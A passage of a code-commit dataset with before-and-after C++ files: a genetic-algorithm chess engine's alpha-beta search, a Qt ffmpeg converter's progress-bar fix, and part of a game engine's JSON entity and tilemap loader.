std::iter_swap(all_legal_moves.begin(), move_iter);\n        }\n    }\n\n    auto perspective = board.whose_turn();\n    int moves_examined = 0;\n    const auto current_legal_moves_count = all_legal_moves.size();\n\n    Game_Tree_Node_Result best_result = {board.all_legal_moves().front(),\n                                         Math::lose_score,\n                                         perspective,\n                                         depth,\n                                         \"\"};\n\n    for(const auto& move : all_legal_moves)\n    {\n        auto next_board = board;\n\n        try\n        {\n            next_board.submit_move(move);\n        }\n        catch(const Checkmate_Exception&)\n        {\n            \/\/ Mate in one (try to pick the shortest path to checkmate)\n            return {move,\n                    genome.evaluate(next_board, perspective),\n                    perspective,\n                    depth,\n                    next_board.get_game_record().back()};\n        }\n        catch(const Game_Ending_Exception&)\n        {\n            \/\/ Draws get scored like any other board position\n        }\n\n        int moves_left = current_legal_moves_count - moves_examined;\n        double time_left = time_to_examine - (time_start - clock.time_left(clock.running_for()));\n        double time_alloted_for_this_move = time_left\/moves_left;\n\n        bool recurse;\n        if(next_board.game_has_ended())\n        {\n            recurse = false;\n        }\n        else if(next_board.all_legal_moves().size() == 1)\n        {\n            recurse = true;\n        }\n        else if(still_on_principal_variation)\n        {\n            recurse = true;\n        }\n        else if(time_alloted_for_this_move < genome.minimum_time_to_recurse(next_board))\n        {\n            recurse = false;\n        }\n        else\n        {\n            recurse = genome.good_enough_to_examine(board, next_board, perspective);\n        }\n\n        Game_Tree_Node_Result result;\n        if(recurse)\n        {\n            result = search_game_tree(next_board,\n                                      time_alloted_for_this_move,\n                                      clock,\n                                      depth + 1,\n                                      beta,\n                                      alpha);\n\n            \/\/ Update last result with this game tree node's data\n            result.move = move;\n            result.commentary = next_board.get_game_record().back()\n                                        + \" \"\n                                        + result.commentary;\n        }\n        else\n        {\n            \/\/ Record immediate result without looking ahead further\n            result = {move,\n                      genome.evaluate(next_board, perspective),\n                      perspective,\n                      depth,\n                      next_board.get_game_record().back()};\n        }\n\n        if(better_than(result, best_result, perspective))\n        {\n            best_result = result;\n            if(better_than(best_result, alpha, perspective))\n            {\n                alpha = best_result;\n                if(better_than(alpha, beta, perspective) || alpha == beta)\n                {\n                    break;\n                }\n            }\n        }\n\n        ++moves_examined;\n        still_on_principal_variation = false; \/\/ only the first move is part of the principal variation\n\n        if(clock.time_left(clock.running_for()) < 0)\n        {\n            break;\n        }\n    }\n\n    return best_result;\n}\n\nvoid Genetic_AI::mutate()\n{\n    genome.mutate();\n}\n\nvoid Genetic_AI::print_genome(const std::string& file_name) const\n{\n    if(file_name.empty())\n    {\n        print_genome(std::cout);\n    }\n    else\n    {\n        auto dest = std::ofstream(file_name, std::ofstream::app);\n        print_genome(dest);\n    }\n}\n\nvoid Genetic_AI::print_genome(std::ostream& os) const\n{\n    os << \"ID: \" << get_id() << std::endl;\n    genome.print(os);\n    os << \"END\" << std::endl << std::endl;\n}\n\nstd::string Genetic_AI::name() const\n{\n    return \"Genetic AI \" + std::to_string(get_id());\n}\n\nstd::string Genetic_AI::author() const\n{\n    return \"Mark Harrison\";\n}\n\nint Genetic_AI::get_id() const\n{\n    return id;\n}\n\nbool Genetic_AI::operator<(const Genetic_AI& other) const\n{\n    return get_id() < other.get_id();\n}\n\nbool Genetic_AI::operator==(const Genetic_AI& other) const\n{\n    return get_id() == other.get_id();\n}\n<commit_msg>Simpler iterator math in principal variation review<commit_after>#include \"Players\/Genetic_AI.h\"\n\n#include <iostream>\n#include <fstream>\n#include <cmath>\n#include <algorithm>\n#include <stdexcept>\n\n#include \"Moves\/Move.h\"\n#include \"Game\/Board.h\"\n#include \"Game\/Clock.h\"\n\n#include \"Exceptions\/Checkmate_Exception.h\"\n#include \"Exceptions\/Game_Ending_Exception.h\"\n\n#include \"Utility.h\"\n\nint Genetic_AI::next_id = 0;\n\nGenetic_AI::Genetic_AI() :\n    genome(),\n    id(next_id++)\n{\n}\n\n\/\/ Sexual reproduction\nGenetic_AI::Genetic_AI(const Genetic_AI& A, const Genetic_AI& B) :\n    genome(A.genome, B.genome),\n    id(next_id++)\n{\n}\n\nGenetic_AI::~Genetic_AI()\n{\n}\n\nGenetic_AI::Genetic_AI(const std::string& file_name)\n{\n    std::ifstream ifs(file_name);\n    if( ! ifs)\n    {\n        throw std::runtime_error(\"Could not read: \" + file_name);\n    }\n\n    read_from(ifs);\n}\n\nGenetic_AI::Genetic_AI(std::istream& is)\n{\n    read_from(is);\n}\n\nGenetic_AI::Genetic_AI(const std::string& file_name, int id_in) : id(id_in)\n{\n    if(id >= next_id)\n    {\n        next_id = id + 1;\n    }\n\n    std::ifstream ifs(file_name);\n    if( ! ifs)\n    {\n        throw std::runtime_error(\"Could not read: \" + file_name);\n    }\n\n    std::string line;\n    while(std::getline(ifs, line))\n    {\n        if( ! String::starts_with(line, \"ID:\"))\n        {\n            continue;\n        }\n\n        auto param_value = String::split(line, \":\", 1);\n        if(id_in == std::stoi(param_value[1]))\n        {\n            genome.read_from(ifs);\n            return;\n        }\n    }\n\n    throw std::runtime_error(\"Could not locate ID \" + std::to_string(id_in) + \" inside file \" + file_name);\n}\n\nvoid Genetic_AI::read_from(std::istream& is)\n{\n    std::string line;\n    id = -1;\n    while(std::getline(is, line))\n    {\n        if(line.empty())\n        {\n            continue;\n        }\n\n        if(String::starts_with(line, \"ID:\"))\n        {\n            id = std::stoi(String::split(line)[1]);\n            break;\n        }\n        else\n        {\n            throw std::runtime_error(\"Invalid Genetic_AI line: \" + line);\n        }\n    }\n\n    if( ! is)\n    {\n        throw std::runtime_error(\"Incomplete Genetic_AI spec in file for ID \" + std::to_string(id));\n    }\n\n    if(id >= next_id)\n    {\n        next_id = id + 1;\n    }\n\n    genome.read_from(is);\n}\n\nconst Complete_Move Genetic_AI::choose_move(const Board& board, const Clock& clock) const\n{\n    const auto& legal_moves = board.all_legal_moves();\n    if(legal_moves.size() == 1)\n    {\n        if(principal_variation.size() > 2 && principal_variation[1] == board.get_game_record().back())\n        {\n            \/\/ search_game_tree() assumes the principal variation starts\n            \/\/ with the previous move of this player. If a move was forced,\n            \/\/ then the principal variation needs to be updated to start with\n            \/\/ the next move of this side after checking that the immediately\n            \/\/ preceding move was the expected one.\n            principal_variation.erase(principal_variation.begin(),\n                                      principal_variation.begin() + 2);\n        }\n        else\n        {\n            principal_variation.clear();\n        }\n\n        return legal_moves.front(); \/\/ If there's only one legal move, take it.\n    }\n\n    auto time_to_use = genome.time_to_examine(board, clock);\n\n    \/\/ alpha = highest score found that opponent will allow\n    Game_Tree_Node_Result alpha_start = {Complete_Move(),\n                                         Math::lose_score,\n                                         board.whose_turn(),\n                                         0,\n                                         \"\"};\n    \/\/ beta = score that will cause opponent to choose a different prior move\n    Game_Tree_Node_Result beta_start = {Complete_Move(),\n                                        Math::win_score,\n                                        board.whose_turn(),\n                                        0,\n                                        \"\"};\n\n    auto result = search_game_tree(board,\n                                   time_to_use,\n                                   clock,\n                                   0,\n                                   alpha_start,\n                                   beta_start);\n\n    if(result.depth > 0)\n    {\n        board.add_commentary_to_next_move(result.commentary);\n        principal_variation = String::split(result.commentary);\n    }\n    else\n    {\n        principal_variation.clear();\n    }\n\n    return result.move;\n}\n\nbool better_than(const Game_Tree_Node_Result& a, const Game_Tree_Node_Result& b, Color perspective)\n{\n    auto scoreA = a.corrected_score(perspective);\n    auto scoreB = b.corrected_score(perspective);\n\n    if(scoreA > scoreB)\n    {\n        return true;\n    }\n\n    if(scoreA < scoreB)\n    {\n        return false;\n    }\n\n    \/\/ scoreA == scoreB\n\n    \/\/ Shorter path to winning is better\n    if(scoreA == Math::win_score)\n    {\n        return a.depth < b.depth;\n    }\n\n    \/\/ Longer path to losing is better\n    if(scoreA == Math::lose_score)\n    {\n        return a.depth > b.depth;\n    }\n\n    return false;\n}\n\nbool operator==(const Game_Tree_Node_Result& a, const Game_Tree_Node_Result& b)\n{\n    auto scoreA = a.corrected_score(WHITE);\n    auto scoreB = b.corrected_score(WHITE);\n\n    if(scoreA != scoreB)\n    {\n        return false;\n    }\n\n    \/\/ scoreA == scoreB\n\n    if(std::abs(scoreA) == Math::win_score)\n    {\n        return a.depth == b.depth;\n    }\n\n    return true;\n}\n\nGame_Tree_Node_Result Genetic_AI::search_game_tree(const Board& board,\n                                                   const double time_to_examine,\n                                                   const Clock& clock,\n                                                   const size_t depth,\n                                                   Game_Tree_Node_Result alpha,\n                                                   Game_Tree_Node_Result beta) const\n{\n    auto time_start = clock.time_left(clock.running_for());\n    auto all_legal_moves = board.all_legal_moves();\n\n    \/\/ The first item in the principal variation is the last move that\n    \/\/ this player made. Since then, the opponent has also made a move,\n    \/\/ so the first item in the principal variation corresponds to the\n    \/\/ game record item at game_record.size() - 2. The depth of the game\n    \/\/ tree search increments both the game_record index and the principal\n    \/\/ variation index in step.\n    bool still_on_principal_variation = false;\n    if(principal_variation.size() > depth + 2)\n    {\n        still_on_principal_variation = std::equal(board.get_game_record().end() - 2 - depth,\n                                                  board.get_game_record().end(),\n                                                  principal_variation.begin());\n\n        if(still_on_principal_variation)\n        {\n            auto next_principal_variation_move = principal_variation[depth + 2];\n            \/\/ remove non-move notation\n            next_principal_variation_move = String::strip_comments(next_principal_variation_move, '+');\n            next_principal_variation_move = String::strip_comments(next_principal_variation_move, '#');\n\n            auto move_iter = std::find_if(all_legal_moves.begin(),\n                                          all_legal_moves.end(),\n                                          [&next_principal_variation_move, &board](const auto& legal_move)\n                                          {\n                                              return legal_move.game_record_item(board) == next_principal_variation_move;\n                                          });\n\n            \/\/ Make sure that the principal variation is actually a legal move.\n            \/\/ This is purely for debugging as special circumstances (i.e., once\n            \/\/ per several thousand games) cause the principal variation to be\n            \/\/ invalidated without it being cleared.\n            if(move_iter == all_legal_moves.end())\n            {\n                board.ascii_draw(WHITE);\n                board.print_game_record(\"\",\"\",\"\",\"Principal Variation error\", 0);\n                for(const auto& item : principal_variation)\n                {\n                    std::cout << item << \" \";\n                }\n                std::cout << '\\n' << \"Depth: \" << depth << '\\n'\n                          << \"Next move in variation: \" << next_principal_variation_move << std::endl;\n                throw std::runtime_error(\"ERROR: bad variation code\");\n            }\n\n            \/\/ Put principal variation move at start of list to allow\n            \/\/ the most pruning later.\n            std::iter_swap(all_legal_moves.begin(), move_iter);\n        }\n    }\n\n    auto perspective = board.whose_turn();\n    int moves_examined = 0;\n    const auto current_legal_moves_count = all_legal_moves.size();\n\n    Game_Tree_Node_Result best_result = {board.all_legal_moves().front(),\n                                         Math::lose_score,\n                                         perspective,\n                                         depth,\n                                         \"\"};\n\n    for(const auto& move : all_legal_moves)\n    {\n        auto next_board = board;\n\n        try\n        {\n            next_board.submit_move(move);\n        }\n        catch(const Checkmate_Exception&)\n        {\n            \/\/ Mate in one (try to pick the shortest path to checkmate)\n            return {move,\n                    genome.evaluate(next_board, perspective),\n                    perspective,\n                    depth,\n                    next_board.get_game_record().back()};\n        }\n        catch(const Game_Ending_Exception&)\n        {\n            \/\/ Draws get scored like any other board position\n        }\n\n        int moves_left = current_legal_moves_count - moves_examined;\n        double time_left = time_to_examine - (time_start - clock.time_left(clock.running_for()));\n        double time_alloted_for_this_move = time_left\/moves_left;\n\n        bool recurse;\n        if(next_board.game_has_ended())\n        {\n            recurse = false;\n        }\n        else if(next_board.all_legal_moves().size() == 1)\n        {\n            recurse = true;\n        }\n        else if(still_on_principal_variation)\n        {\n            recurse = true;\n        }\n        else if(time_alloted_for_this_move < genome.minimum_time_to_recurse(next_board))\n        {\n            recurse = false;\n        }\n        else\n        {\n            recurse = genome.good_enough_to_examine(board, next_board, perspective);\n        }\n\n        Game_Tree_Node_Result result;\n        if(recurse)\n        {\n            result = search_game_tree(next_board,\n                                      time_alloted_for_this_move,\n                                      clock,\n                                      depth + 1,\n                                      beta,\n                                      alpha);\n\n            \/\/ Update last result with this game tree node's data\n            result.move = move;\n            result.commentary = next_board.get_game_record().back()\n                                        + \" \"\n                                        + result.commentary;\n        }\n        else\n        {\n            \/\/ Record immediate result without looking ahead further\n            result = {move,\n                      genome.evaluate(next_board, perspective),\n                      perspective,\n                      depth,\n                      next_board.get_game_record().back()};\n        }\n\n        if(better_than(result, best_result, perspective))\n        {\n            best_result = result;\n            if(better_than(best_result, alpha, perspective))\n            {\n                alpha = best_result;\n                if(better_than(alpha, beta, perspective) || alpha == beta)\n                {\n                    break;\n                }\n            }\n        }\n\n        ++moves_examined;\n        still_on_principal_variation = false; \/\/ only the first move is part of the principal variation\n\n        if(clock.time_left(clock.running_for()) < 0)\n        {\n            break;\n        }\n    }\n\n    return best_result;\n}\n\nvoid Genetic_AI::mutate()\n{\n    genome.mutate();\n}\n\nvoid Genetic_AI::print_genome(const std::string& file_name) const\n{\n    if(file_name.empty())\n    {\n        print_genome(std::cout);\n    }\n    else\n    {\n        auto dest = std::ofstream(file_name, std::ofstream::app);\n        print_genome(dest);\n    }\n}\n\nvoid Genetic_AI::print_genome(std::ostream& os) const\n{\n    os << \"ID: \" << get_id() << std::endl;\n    genome.print(os);\n    os << \"END\" << std::endl << std::endl;\n}\n\nstd::string Genetic_AI::name() const\n{\n    return \"Genetic AI \" + std::to_string(get_id());\n}\n\nstd::string Genetic_AI::author() const\n{\n    return \"Mark Harrison\";\n}\n\nint Genetic_AI::get_id() const\n{\n    return id;\n}\n\nbool Genetic_AI::operator<(const Genetic_AI& other) const\n{\n    return get_id() < other.get_id();\n}\n\nbool Genetic_AI::operator==(const Genetic_AI& other) const\n{\n    return get_id() == other.get_id();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"ui_mainwindow.h\"\n#include \"converter.h\"\n#include \"utilities.h\"\n#include \"window.h\"\n\nConverter::Converter(QObject *parent) : QObject(parent) {\n}\n\nvoid Converter::start() {\n    utils.addToLog(\"<b>Starting conversion.<\/b>\");\n    utils.killProcesses();\n\n    QStringList arguments;\n    arguments << \"-y\" << \"-hide_banner\";\n    arguments << \"-i\" << utils.getCurrentRawFilename();\n\n    if (!win.ui->cutFromEdit->text().trimmed().isEmpty() && !win.ui->cutToEdit->text().trimmed().isEmpty()) {\n        arguments << \"-ss\" << win.ui->cutFromEdit->text().trimmed();\n        arguments << \"-to\" << win.ui->cutToEdit->text().trimmed();\n        \/\/ TODO: logging\n    }\n\n    arguments << utils.getCurrentFilename();\n\n    utils.conversionProcess = new QProcess;\n    utils.conversionProcess->setProcessChannelMode(QProcess::MergedChannels);\n    utils.conversionProcess->start(utils.ffmpegBinaryName(), arguments);\n\n    connect(utils.conversionProcess, SIGNAL(readyReadStandardOutput()), this, SLOT(read()));\n    connect(utils.conversionProcess, SIGNAL(finished(int)), this, SLOT(complete(int)));\n}\n\nvoid Converter::read() {\n    \/\/ TODO: when cutting, adjust time\n    QString buffer = utils.conversionProcess->readAllStandardOutput();\n    QString duration, progress;\n    QTime durationTime, progressTime;\n    QRegExp time(\"\\\\d\\\\d\\\\:\\\\d\\\\d\\\\:\\\\d\\\\d\\\\.\\\\d\\\\d\");\n    time.indexIn(buffer);\n    if (buffer.contains(\"Duration: \")) {\n        duration = time.capturedTexts()[0];\n        durationTime = QTime::fromString(duration, \"hh:mm:ss.z\");\n        utils.currentDuration = QTime(0,0).secsTo(durationTime);\n    } else {\n        if (buffer != \"\") {\n            progress = time.capturedTexts()[0];\n            progressTime = QTime::fromString(progress, \"hh:mm:ss.z\");\n            int percent = double((QTime(0,0).secsTo(progressTime)) \/ double(utils.currentDuration))*100;\n            win.ui->conversionProgressBar->setValue(percent);\n        }\n    }\n    utils.addToLog(buffer);\n}\n\nvoid Converter::complete(int code) {\n    utils.conversionProcess->deleteLater();\n    utils.conversionProcess = NULL;\n    win.toggleConversionButton();\n\n    if (utils.killed) {\n        utils.addToLog(\"<b>Conversion canceled.<\/b>\");\n        utils.killed = false;\n        return;\n    }\n    if (code != 0) {\n        utils.addToLog(\"<b>Error on conversion. Check logs.<\/b>\");\n        return;\n    }\n\n    \/\/ In case video is so short that ffmpeg do not display\n    \/\/ conversion status\n    win.ui->conversionProgressBar->setValue(100);\n\n    win.ui->startConversion->toggle();\n    win.toggleConversionButton();\n\n    utils.addToLog(\"<b>Conversion complete.<\/b>\");\n    utils.addToLog(\"Saved to: \" + utils.getCurrentFilename());\n}\n<commit_msg>fixed conversion progress bar issue on windows<commit_after>#include \"ui_mainwindow.h\"\n#include \"converter.h\"\n#include \"utilities.h\"\n#include \"window.h\"\n\nConverter::Converter(QObject *parent) : QObject(parent) {\n}\n\nvoid Converter::start() {\n    utils.addToLog(\"<b>Starting conversion.<\/b>\");\n    utils.killProcesses();\n\n    QStringList arguments;\n    arguments << \"-y\" << \"-hide_banner\";\n    arguments << \"-i\" << utils.getCurrentRawFilename();\n\n    if (!win.ui->cutFromEdit->text().trimmed().isEmpty() && !win.ui->cutToEdit->text().trimmed().isEmpty()) {\n        arguments << \"-ss\" << win.ui->cutFromEdit->text().trimmed();\n        arguments << \"-to\" << win.ui->cutToEdit->text().trimmed();\n        \/\/ TODO: logging\n    }\n\n    arguments << utils.getCurrentFilename();\n\n    utils.conversionProcess = new QProcess;\n    utils.conversionProcess->setProcessChannelMode(QProcess::MergedChannels);\n    utils.conversionProcess->start(utils.ffmpegBinaryName(), arguments);\n\n    connect(utils.conversionProcess, SIGNAL(readyReadStandardOutput()), this, SLOT(read()));\n    connect(utils.conversionProcess, SIGNAL(finished(int)), this, SLOT(complete(int)));\n}\n\nvoid Converter::read() {\n    \/\/ TODO: when cutting, adjust time\n    QString buffer = utils.conversionProcess->readAllStandardOutput();\n    QString duration, progress;\n    QTime durationTime, progressTime;\n    QRegExp time(\"\\\\d\\\\d\\\\:\\\\d\\\\d\\\\:\\\\d\\\\d\\\\.\\\\d\\\\d\");\n    time.indexIn(buffer);\n    if (buffer.contains(\"Duration: \")) {\n        duration = time.capturedTexts()[0];\n        durationTime = QTime::fromString(duration, \"hh:mm:ss.z\");\n        utils.currentDuration = QTime(0,0).secsTo(durationTime);\n    } else {\n        if (buffer != \"\") {\n            progress = time.capturedTexts()[0];\n            if (progress != \"\") {\n                progressTime = QTime::fromString(progress, \"hh:mm:ss.z\");\n                int percent = double((QTime(0,0).secsTo(progressTime)) \/ double(utils.currentDuration))*100;\n                win.ui->conversionProgressBar->setValue(percent);\n            }\n        }\n    }\n    utils.addToLog(buffer);\n}\n\nvoid Converter::complete(int code) {\n    utils.conversionProcess->deleteLater();\n    utils.conversionProcess = NULL;\n    win.toggleConversionButton();\n\n    if (utils.killed) {\n        utils.addToLog(\"<b>Conversion canceled.<\/b>\");\n        utils.killed = false;\n        return;\n    }\n    if (code != 0) {\n        utils.addToLog(\"<b>Error on conversion. Check logs.<\/b>\");\n        return;\n    }\n\n    \/\/ In case video is so short that ffmpeg do not display\n    \/\/ conversion status\n    win.ui->conversionProgressBar->setValue(100);\n\n    win.ui->startConversion->toggle();\n    win.toggleConversionButton();\n\n    utils.addToLog(\"<b>Conversion complete.<\/b>\");\n    utils.addToLog(\"Saved to: \" + utils.getCurrentFilename());\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"components\/camera.hpp\"\n#include \"components\/collision.hpp\"\n#include \"components\/player.hpp\"\n#include \"components\/render.hpp\"\n#include \"components\/transform.hpp\"\n#include \"components\/velocity.hpp\"\n#include \"data.hpp\"\n#include \"exception.hpp\"\n\n#include <fstream>\n#include <iostream>\n#include <map>\n\nnamespace core\n{\n\nconst std::string component_name_camera{\"camera\"};\nconst std::string component_name_collision{\"collision\"};\nconst std::string component_name_player{\"player\"};\nconst std::string component_name_texture{\"texture\"};\nconst std::string component_name_transform{\"transform\"};\nconst std::string component_name_velocity{\"velocity\"};\n\nvoid DataReader::factory_component_player(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_move_accel{\"move_accel\"};\n    const std::string prop_top_speed{\"top_speed\"};\n\n    check_required_component_property(\n        data, component_name_player, prop_move_accel);\n    float move_accel = data[prop_move_accel].asFloat();\n    check_required_component_property(\n        data, component_name_player, prop_top_speed);\n    float top_speed = data[prop_top_speed].asFloat();\n    entity.addComponent<components::PlayerComponent>(move_accel, top_speed);\n}\n\nvoid DataReader::factory_component_camera(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_zoom{\"zoom\"};\n    const std::string prop_target{\"target\"};\n\n    float zoom = data.get(prop_zoom, 1.0f).asFloat();\n\n    check_required_component_property(data, component_name_camera, prop_target);\n    std::string target = data[prop_target].asString();\n\n    auto player = m_map_entities[target];\n\n    entity.addComponent<components::CameraComponent>(player, zoom);\n}\n\nvoid DataReader::factory_component_collision(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_x{\"x\"};\n    const std::string prop_y{\"y\"};\n    const std::string prop_h{\"h\"};\n    const std::string prop_w{\"w\"};\n    const std::string prop_causeevents{\"cancauseevents\"};\n\n    int x = data.get(prop_x, 0).asInt();\n    int y = data.get(prop_y, 0).asInt();\n\n    check_required_component_property(data, component_name_collision, prop_w);\n    check_required_component_property(data, component_name_collision, prop_h);\n    check_required_component_property(\n        data, component_name_collision, prop_causeevents);\n    int h = data[prop_h].asInt();\n    int w = data[prop_w].asInt();\n    bool cancauseevents = data[prop_causeevents].asBool();\n\n    entity.addComponent<components::Collision>(x, y, h, w, cancauseevents);\n}\n\nvoid DataReader::factory_component_texture(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_texture_path{\"texture_path\"};\n\n    check_required_component_property(\n        data, component_name_texture, prop_texture_path);\n    std::string texture_path = data[prop_texture_path].asString();\n\n    entity.addComponent<components::TextureComponent>(texture_path);\n}\n\nvoid DataReader::factory_component_transform(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_pos_x{\"pos_x\"};\n    const std::string prop_pos_y{\"pos_y\"};\n    const std::string prop_size_x{\"size_x\"};\n    const std::string prop_size_y{\"size_y\"};\n    const std::string prop_rotation{\"rotation\"};\n    const std::string prop_flip_horiz{\"flip_horiz\"};\n    const std::string prop_flip_vert{\"flip_vert\"};\n\n    check_required_component_property(\n        data, component_name_transform, prop_pos_x);\n    float pos_x = data[prop_pos_x].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_pos_y);\n    float pos_y = data[prop_pos_y].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_size_x);\n    float size_x = data[prop_size_x].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_size_y);\n    float size_y = data[prop_size_y].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_rotation);\n    float rotation = data[prop_rotation].asFloat();\n\n    check_required_component_property(\n        data, component_name_transform, prop_flip_vert);\n    bool flip_vert = data[prop_flip_vert].asBool();\n\n    check_required_component_property(\n        data, component_name_transform, prop_flip_horiz);\n    bool flip_horiz = data[prop_flip_horiz].asBool();\n\n    entity.addComponent<components::TransformComponent>(\n        pos_x, pos_y, size_x, size_y, rotation, flip_vert, flip_horiz);\n}\n\nvoid DataReader::factory_component_velocity(\n    const Json::Value data, anax::Entity entity)\n{\n    const std::string prop_mass{\"mass\"};\n    const std::string prop_friction{\"friction\"};\n    const std::string prop_force_x{\"force_x\"};\n    const std::string prop_force_y{\"force_y\"};\n    const float prop_force_x_default = 0.0f;\n    const float prop_force_y_default = 0.0f;\n    const std::string prop_vel_x{\"vel_x\"};\n    const std::string prop_vel_y{\"vel_y\"};\n    const float prop_vel_x_default = 0.0f;\n    const float prop_vel_y_default = 0.0f;\n\n    float velocity_x = data.get(prop_vel_x, prop_vel_x_default).asFloat();\n    float velocity_y = data.get(prop_vel_y, prop_vel_y_default).asFloat();\n    float force_x = data.get(prop_force_x, prop_force_x_default).asFloat();\n    float force_y = data.get(prop_force_y, prop_force_y_default).asFloat();\n    check_required_component_property(data, component_name_velocity, prop_mass);\n    float mass = data[prop_mass].asFloat();\n\n    check_required_component_property(\n        data, component_name_velocity, prop_friction);\n    float friction = data[prop_friction].asFloat();\n\n    entity.addComponent<components::VelocityComponent>(\n        mass, friction, velocity_x, velocity_y, force_x, force_y);\n}\n\nDataReader::DataReader(std::string filename) : JsonFileReader(filename)\n{\n    m_sp_logger = logging_get_logger(\"data\");\n\n    component_factories.insert(std::make_pair(\n        component_name_camera, &DataReader::factory_component_camera));\n    component_factories.insert(std::make_pair(\n        component_name_collision, &DataReader::factory_component_collision));\n    component_factories.insert(std::make_pair(\n        component_name_player, &DataReader::factory_component_player));\n    component_factories.insert(std::make_pair(\n        component_name_texture, &DataReader::factory_component_texture));\n    component_factories.insert(std::make_pair(\n        component_name_transform, &DataReader::factory_component_transform));\n    component_factories.insert(std::make_pair(\n        component_name_velocity, &DataReader::factory_component_velocity));\n}\n\nanax::Entity DataReader::makeEntity(std::string entityname, anax::World& world)\n{\n    const std::string prop_name_components{\"components\"};\n    const std::string prop_name_template{\"template\"};\n\n    if (!m_json_data.isMember(entityname))\n    {\n        m_sp_logger->error(\"JSON data {} missing referenced entity {}\",\n            m_str_description,\n            entityname);\n        throw ExceptionParseFailure(\n            m_str_description, \"Missing referenced entity\");\n    }\n\n    auto entity = world.createEntity();\n\n    Json::Value entity_data;\n    if (m_json_data[entityname].isMember(prop_name_template))\n    {\n        std::string templatename =\n            m_json_data[entityname][prop_name_template].asString();\n        m_sp_logger->info(\n            \"Using template {} for entity {}\", templatename, entityname);\n        entity_data = merge_values(\n            m_map_references[templatename], m_json_data[entityname]);\n    }\n    else\n    {\n        entity_data = m_json_data[entityname];\n    }\n\n    if (!entity_data.isMember(prop_name_components))\n    {\n        m_sp_logger->error(\"JSON data {} entity {} missing {}\",\n            m_str_description,\n            entityname,\n            prop_name_components);\n        throw ExceptionParseFailure(\n            m_str_description, \"JSON data entity missing components\");\n    }\n\n    auto components = entity_data[prop_name_components];\n\n    m_sp_logger->info(\"Components list for entity name {} size {}\",\n        entityname,\n        components.size());\n\n    Json::Value::Members member_names = components.getMemberNames();\n    for (auto type : member_names)\n    {\n        m_sp_logger->info(\"Creating component {}\", type);\n\n        factory_method fp = component_factories[type];\n        (this->*fp)(components[type], entity);\n    }\n\n    entity.activate();\n    return entity;\n}\n\nvoid DataReader::makeEntities(anax::World& world)\n{\n    const std::string object_name_world{\"world\"};\n    const std::string prop_name_entities{\"entities\"};\n\n    scan_references(m_json_data);\n\n    if (!m_json_data.isMember(object_name_world))\n    {\n        m_sp_logger->error(\n            \"JSON data {} missing {}\", m_str_description, object_name_world);\n        throw ExceptionParseFailure(\n            m_str_description, \"JSON Data missing world\");\n    }\n    if (!m_json_data[object_name_world].isMember(prop_name_entities))\n    {\n        m_sp_logger->error(\"JSON data {} world missing {}\",\n            m_str_description,\n            prop_name_entities);\n        throw ExceptionParseFailure(\n            m_str_description, \"JSON Data world missing entities\");\n    }\n\n    auto entities = m_json_data[object_name_world][prop_name_entities];\n    m_sp_logger->info(\"Entities list for world size {}\", entities.size());\n    for (auto value : entities)\n    {\n        std::string name = value.asString();\n        auto entity = makeEntity(name, world);\n        m_map_entities.insert({name, entity});\n    }\n}\n\nLevelReader::LevelReader(std::string filename) : JsonFileReader(filename)\n{\n    m_sp_logger = logging_get_logger(\"data\");\n}\n\nvoid LevelReader::build_level(std::unique_ptr<Level>& up_level)\n{\n    uint16_t size_x = m_json_data[\"width\"].asInt();\n    uint16_t size_y = m_json_data[\"height\"].asInt();\n    float tileheight = m_json_data[\"tileheight\"].asFloat();\n    float scale = m_json_data[\"properties\"].get(\"scale\", 1.0).asFloat();\n\n    up_level = std::make_unique<Level>(size_x, size_y, tileheight * scale);\n    auto p_level = up_level.get();\n\n    \/\/ TODO(Keegan): Use tilewidth as well\n    auto tilesets = m_json_data[\"tilesets\"];\n    std::string tileset_source;\n    for (auto it = tilesets.begin(); it != tilesets.end(); ++it)\n    {\n        int firstgid = (*it)[\"firstgid\"].asInt();\n        tileset_source = (*it)[\"source\"].asString();\n        m_sp_logger->info(\n            \"Found a tileset gid {} source {}\", firstgid, tileset_source);\n    }\n    \/\/ Only load last tileset for now\n    auto p_tileset = load_tileset(tileset_source);\n    p_level->set_tileset(p_tileset);\n\n    auto layers = m_json_data[\"layers\"];\n    for (auto it = layers.begin(); it != layers.end(); ++it)\n    {\n        int height = (*it)[\"height\"].asInt();\n        int width = (*it)[\"width\"].asInt();\n        float opacity = (*it)[\"opacity\"].asFloat();\n        std::string name = (*it)[\"name\"].asString();\n        m_sp_logger->info(\n            \"found a layer named {} width {} height {} opacity {}\",\n            name,\n            width,\n            height,\n            opacity);\n        auto data = (*it)[\"data\"];\n        for (uint16_t index = 0; index < data.size(); ++index)\n        {\n            uint16_t tile_x = index % width;\n            uint16_t tile_y = index \/ width;\n            int16_t tilegid = data[index].asInt();\n            p_level->set(tile_x, tile_y, tilegid);\n        }\n    }\n\n    return;\n}\n\nLevelTileSet* LevelReader::load_tileset(std::string filename)\n{\n    Json::Reader reader_json;\n    filename.insert(0, \"data\/\");\n    m_sp_logger->info(\"Loading data from {}\", filename);\n    std::ifstream config_file(filename, std::ifstream::binary);\n    if (!reader_json.parse(config_file, m_json_tileset))\n    {\n        m_sp_logger->error(\n            \"Failed to parse JSON file {}:\", filename, \"JSON format error\");\n        m_sp_logger->error(reader_json.getFormattedErrorMessages());\n        throw ExceptionParseFailure(\n            m_str_description, std::string(\"JSON format error\"));\n    }\n    std::string image_filename = m_json_tileset[\"image\"].asString();\n    std::string name = m_json_tileset[\"name\"].asString();\n    uint16_t tilewidth = m_json_tileset[\"tilewidth\"].asInt();\n    uint16_t tileheight = m_json_tileset[\"tilewidth\"].asInt();\n    uint16_t tilecount = m_json_tileset[\"tilecount\"].asInt();\n    uint16_t columns = m_json_tileset[\"columns\"].asInt();\n    uint16_t margin = m_json_tileset[\"margin\"].asInt();\n    uint16_t spacing = m_json_tileset[\"spacing\"].asInt();\n    return new LevelTileSet{name,\n        image_filename,\n        columns,\n        tilecount,\n        tilewidth,\n        tileheight,\n        